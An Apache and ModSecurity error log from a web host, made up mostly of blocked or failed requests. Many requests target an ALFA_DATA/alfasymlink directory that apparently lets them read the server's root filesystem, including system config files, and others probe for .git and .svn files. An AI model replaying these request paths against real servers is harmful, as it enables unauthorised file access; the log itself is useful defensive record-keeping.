[Tue Oct 27 08:14:58.146086 2026] [ssl:error] [pid 3220899:tid 3220899] (5)Input/output error: [client 44.214.19.8:3426] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:15:00.543811 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 185.191.171.17:22816] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/slabs_cpu_partial
[Tue Oct 27 08:15:22.195521 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 44.215.210.112:36178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:15:34.241445 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 23.21.175.228:47746] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:15:38.158735 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 34.196.114.170:27066] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:15:42.178883 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 98.83.177.42:51553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:15:45.939811 2026] [security2:error] [pid 3220899:tid 3220899] [client 16.216.88.182:61440] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/faillock.conf"] [unique_id "auCV8QHzNpgY2H50otlprwAAAAg"]
[Tue Oct 27 08:15:45.940272 2026] [security2:error] [pid 3220899:tid 3220899] [client 16.216.88.182:61440] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/faillock.conf"] [unique_id "auCV8QHzNpgY2H50otlprwAAAAg"]
[Tue Oct 27 08:15:45.940576 2026] [security2:error] [pid 3220899:tid 3220899] [client 16.216.88.182:61440] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/security/faillock.conf"] [unique_id "auCV8QHzNpgY2H50otlprwAAAAg"]
[Tue Oct 27 08:15:46.266390 2026] [core:error] [pid 3230465:tid 3230465] (13)Permission denied: [client 18.209.137.234:24830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/shpchp/module/uevent
[Tue Oct 27 08:15:50.156737 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 18.207.79.144:7312] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:15:54.166986 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 23.21.179.120:29109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:08/eject
[Tue Oct 27 08:15:58.248468 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.81.253.213:58866] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:16:29.179671 2026] [security2:error] [pid 3220899:tid 3220899] [client 45.138.12.16:40300] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.svn/entries"] [unique_id "auCWHQHzNpgY2H50otlpsQAAAAg"]
[Tue Oct 27 08:16:29.179878 2026] [security2:error] [pid 3220899:tid 3220899] [client 45.138.12.16:40300] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.svn/entries"] [unique_id "auCWHQHzNpgY2H50otlpsQAAAAg"]
[Tue Oct 27 08:16:29.180172 2026] [security2:error] [pid 3220899:tid 3220899] [client 45.138.12.16:40300] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.svn/entries"] [unique_id "auCWHQHzNpgY2H50otlpsQAAAAg"]
[Tue Oct 27 08:16:29.441355 2026] [security2:error] [pid 3230465:tid 3230465] [client 45.138.12.16:40312] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auCWHXOijkS-hyCWJGdJ3AAAAAI"]
[Tue Oct 27 08:16:29.441572 2026] [security2:error] [pid 3230465:tid 3230465] [client 45.138.12.16:40312] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auCWHXOijkS-hyCWJGdJ3AAAAAI"]
[Tue Oct 27 08:16:29.441908 2026] [security2:error] [pid 3230465:tid 3230465] [client 45.138.12.16:40312] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auCWHXOijkS-hyCWJGdJ3AAAAAI"]
[Tue Oct 27 08:16:30.256543 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 23.21.250.48:9033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:16:38.182354 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 18.211.148.239:50363] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:16:46.334024 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 184.73.35.182:47250] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:16:50.379105 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 54.89.90.224:60300] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:17:06.518348 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.90.73.206:12723] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:17:14.277337 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 3.221.156.96:48381] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:17:18.261417 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 44.212.106.171:11622] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:17:34.493488 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 100.29.160.53:59245] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:17:38.448248 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.7.33.248:56191] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:17:46.404570 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 52.203.65.83:58268] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:17:58.437673 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.83.240.58:25509] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:18:14.493352 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.231.77.232:31628] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:18:34.693323 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 52.202.233.37:8235] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:06/physical_node/virtio2/driver/bind
[Tue Oct 27 08:18:42.369577 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 44.223.116.180:2555] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:18:46.416034 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.214.186.220:64854] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:18:58.433338 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 44.193.102.198:35503] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:19:06.626067 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 98.82.40.168:10563] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:19:09.130398 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 85.208.96.202:35416] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/net/rpc/auth.unix.ip/flush
[Tue Oct 27 08:19:10.919712 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 44.194.134.53:16512] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:19:14.523555 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 34.206.212.24:3118] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:19:18.517850 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 54.144.185.255:1128] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:19:22.927891 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.5.232.250:31304] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:19:37.965966 2026] [core:error] [pid 3230467:tid 3230467] (13)Permission denied: [client 85.208.96.206:54162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/total_objects
[Tue Oct 27 08:19:46.543958 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.147.238.89:30161] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:19:58.796900 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 184.72.84.154:30932] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:20:06.595069 2026] [core:error] [pid 3221566:tid 3221566] (13)Permission denied: [client 44.193.102.198:63213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty63/subsystem/ttyS1/device/driver/uevent
[Tue Oct 27 08:20:18.679839 2026] [ssl:error] [pid 3220898:tid 3220898] (5)Input/output error: [client 52.45.92.83:4890] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:20:25.416912 2026] [ssl:error] [pid 3230467:tid 3230467] (22)Invalid argument: [client 85.208.96.194:50268] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:20:25.452549 2026] [ssl:error] [pid 3220899:tid 3220899] (22)Invalid argument: [client 85.208.96.194:50282] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:20:26.657695 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 3.220.70.171:6265] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:20:46.944183 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 184.72.95.195:19123] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:20:55.014840 2026] [core:error] [pid 3230465:tid 3230465] (13)Permission denied: [client 34.192.125.239:7427] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/device:01/PNP0501:01/subsystem/drivers_probe
[Tue Oct 27 08:20:59.128799 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.3.155.146:14123] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:21:00.330219 2026] [security2:error] [pid 3221566:tid 3221566] [client 16.216.88.167:18432] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/090_mod_authz_groupfile.conf"] [unique_id "auCXLCV3rvdaeXJTlLHAsgAAAAM"]
[Tue Oct 27 08:21:00.330702 2026] [security2:error] [pid 3221566:tid 3221566] [client 16.216.88.167:18432] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/090_mod_authz_groupfile.conf"] [unique_id "auCXLCV3rvdaeXJTlLHAsgAAAAM"]
[Tue Oct 27 08:21:00.331010 2026] [security2:error] [pid 3221566:tid 3221566] [client 16.216.88.167:18432] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/090_mod_authz_groupfile.conf"] [unique_id "auCXLCV3rvdaeXJTlLHAsgAAAAM"]
[Tue Oct 27 08:21:02.817359 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.235.158.162:30715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:21:04.432405 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 185.191.171.19:49914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/QEMU0002:00/driver/unbind
[Tue Oct 27 08:21:04.432898 2026] [security2:error] [pid 3227580:tid 3227580] [client 185.191.171.19:49914] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/QEMU0002:00/driver/unbind"] [unique_id "auCXMGUNDY12-2npPMSF8AAAAAo"]
[Tue Oct 27 08:21:04.432931 2026] [security2:error] [pid 3227580:tid 3227580] [client 185.191.171.19:49914] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/QEMU0002:00/driver/unbind"] [unique_id "auCXMGUNDY12-2npPMSF8AAAAAo"]
[Tue Oct 27 08:21:06.748155 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 23.21.148.226:13360] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:21:15.692206 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.84.147.79:18773] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:21:23.728751 2026] [ssl:error] [pid 3230465:tid 3230465] (5)Input/output error: [client 52.7.13.143:41591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:21:31.259788 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 3.231.193.38:2051] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:21:34.895786 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.204.37.237:1249] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:21:38.894647 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 34.230.124.21:36402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/driver/0000:00:03.0/subsystem/slots/19/module/uevent
[Tue Oct 27 08:21:40.540242 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 85.208.96.194:18772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1489/net/rpc/auth.unix.ip/flush
[Tue Oct 27 08:21:42.923757 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.215.24.66:20974] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:21:58.987880 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.208.146.193:44861] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:22:03.090687 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 98.82.107.102:43216] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:22:11.137882 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 3.224.205.25:19531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:22:35.311219 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.239.197.197:21329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:23:03.176834 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 3.217.171.106:32472] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:11/eject
[Tue Oct 27 08:23:11.358476 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 98.82.107.102:20338] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:23:11.423597 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 45.138.12.32:4102] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 08:23:14.453234 2026] [authz_core:error] [pid 3220899:tid 3220899] [client 45.138.12.32:4142] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 08:23:15.969967 2026] [authz_core:error] [pid 3220898:tid 3220898] [client 45.138.12.32:4184] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 08:23:17.590231 2026] [authz_core:error] [pid 3230467:tid 3230467] [client 45.138.12.32:4210] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 08:23:18.069602 2026] [security2:error] [pid 3220898:tid 3220898] [client 45.138.12.32:4184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/admin/users"] [unique_id "auCXto0JjhEi1NzVi4XsTQAAAAc"]
[Tue Oct 27 08:23:18.069662 2026] [security2:error] [pid 3220898:tid 3220898] [client 45.138.12.32:4184] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/admin/users"] [unique_id "auCXto0JjhEi1NzVi4XsTQAAAAc"]
[Tue Oct 27 08:23:22.082221 2026] [security2:error] [pid 3230467:tid 3230467] [client 45.138.12.32:4210] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "arg2.sherwinpinturas.com"] [uri "/pulse"] [unique_id "auCXug0kN5bHfPWi5uxzmwAAAAU"]
[Tue Oct 27 08:23:22.082278 2026] [security2:error] [pid 3230467:tid 3230467] [client 45.138.12.32:4210] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "arg2.sherwinpinturas.com"] [uri "/pulse"] [unique_id "auCXug0kN5bHfPWi5uxzmwAAAAU"]
[Tue Oct 27 08:23:23.838146 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 45.138.12.32:4372] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 08:23:24.521436 2026] [authz_core:error] [pid 3227580:tid 3227580] [client 45.138.12.32:4392] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 08:23:24.896591 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.138.12.32:4372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/auth/register"] [unique_id "auCXvJekxYBRCO5jo1OItgAAABA"]
[Tue Oct 27 08:23:24.896660 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.138.12.32:4372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/auth/register"] [unique_id "auCXvJekxYBRCO5jo1OItgAAABA"]
[Tue Oct 27 08:23:25.219250 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 45.138.12.32:4372] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 08:23:26.044085 2026] [authz_core:error] [pid 3227580:tid 3227580] [client 45.138.12.32:4392] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 08:23:27.188301 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.138.12.32:4372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/admin"] [unique_id "auCXv5ekxYBRCO5jo1OIxAAAABA"]
[Tue Oct 27 08:23:27.188341 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.138.12.32:4372] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/admin"] [unique_id "auCXv5ekxYBRCO5jo1OIxAAAABA"]
[Tue Oct 27 08:23:27.488995 2026] [ssl:error] [pid 3230465:tid 3230465] (70014)End of file found: [client 52.207.47.227:54589] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:23:31.313237 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 98.82.214.73:29052] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:23:35.295192 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 100.29.107.38:38021] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:23:39.963725 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 23.23.104.107:46748] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:23:55.643383 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 18.232.12.157:30104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:23:59.479410 2026] [ssl:error] [pid 3220899:tid 3220899] (70014)End of file found: [client 54.166.104.83:43079] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:24:03.576629 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 35.171.141.42:22283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/driver/remove_id
[Tue Oct 27 08:24:16.033790 2026] [core:error] [pid 3230465:tid 3230465] (13)Permission denied: [client 44.212.106.171:41841] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/cpu1/subsystem/uevent
[Tue Oct 27 08:24:19.798627 2026] [ssl:error] [pid 3221566:tid 3221566] (70014)End of file found: [client 3.229.2.217:10115] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:24:27.585661 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 3.230.69.161:63110] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:24:47.764467 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 18.232.11.247:42419] AH02013: coalesce failed to read from data bucket
